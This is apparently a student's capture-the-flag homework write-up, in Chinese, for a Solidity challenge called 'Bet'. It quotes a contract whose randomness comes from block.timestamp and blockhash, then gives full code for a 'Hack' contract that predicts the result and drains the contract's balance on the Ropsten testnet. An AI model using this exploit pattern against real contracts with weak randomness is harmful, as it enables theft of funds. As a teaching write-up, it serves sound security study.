hw3 Writeup

School/Grade: 交大資科工所 碩一
Student ID: 309551004 (王冠中)
ID: aesophor

Bet (300 PTS)

打開 `Bet.sol` ，我們可以發現當 balance == 0 時可以拿到 flag：

```
contract BetFactory {
    // ...
    function validate (uint token) public {
        require(address(instances[msg.sender]).balance == 0);
        emit GetFlag(token);
    }
}
```

再來，當 `guess == getRandom()` 時，balance 會被清空：

```
contract Bet is Challenge {
    // ...
    function bet (uint guess) public payable onlyPlayer {
        require(msg.value > 0);
        if (guess == getRandom()) {
            msg.sender.call{value: address(this).balance}("");
        }
}
```

最後，seed 是在 `BetFactory::create()` 時用 block.timestamp 去存的 ：

```
contract BetFactory {
    // ...
    function create () public payable {
        require(msg.value >= 0.5 ether);
        instances[msg.sender] = address(new Bet(msg.sender,
                                                block.timestamp));
        instances[msg.sender].call{value: 0.5 ether}("");
    }
    // ...
}


contract bet is Challenge {
    uint private seed;

    constructor (address _player, uint _seed) Challenge(_player) {
        seed = _seed;
    }

    // ...

    function getRandom () internal returns(uint) {
        uint rand = seed ^ uint(blockhash(block.number - 1));
        seed ^= block.timestamp;
        return rand;
    }
}
```

攻擊思路

我們可以自己寫一個智能合約 `Hack.sol` ，並把它部署到 Ropsten 區塊鏈上，讓他和題目的 Bet.sol 進行互動。

在 `Hack::create()` 裡面我們把 block.timestamp 保存起來，然後在 `Hack::run()` 裡面我們就可以用 timestamp 去預測 getRandom() 的結果，最後把 rand 丟進 `Bet::bet()` ，就可以成功把餘額抽空。

```
pragma solidity >=0.7.0;

contract BetFactory {
    function create () public payable {}
    function validate (uint) public {}
}


contract Bet {}

contract Hack {
    address target;
    uint timestamp;

    function create (address _factory) public payable {
        BetFactory factory = BetFactory(_factory);
        factory.create{value: msg.value}();
        timestamp = block.timestamp;
    }
    function validate (address _factory, uint token) public {
        BetFactory factory = BetFactory(_factory);
        factory.validate(token);
    }
    function run (address _target) public payable {
        target = _target;
        Bet instance = Bet(target);
        uint rand = timestamp ^ uint(blockhash(block.number - 1));
        instance.bet{value: msg.value}(rand);
    }
    receive () external payable {}
}
```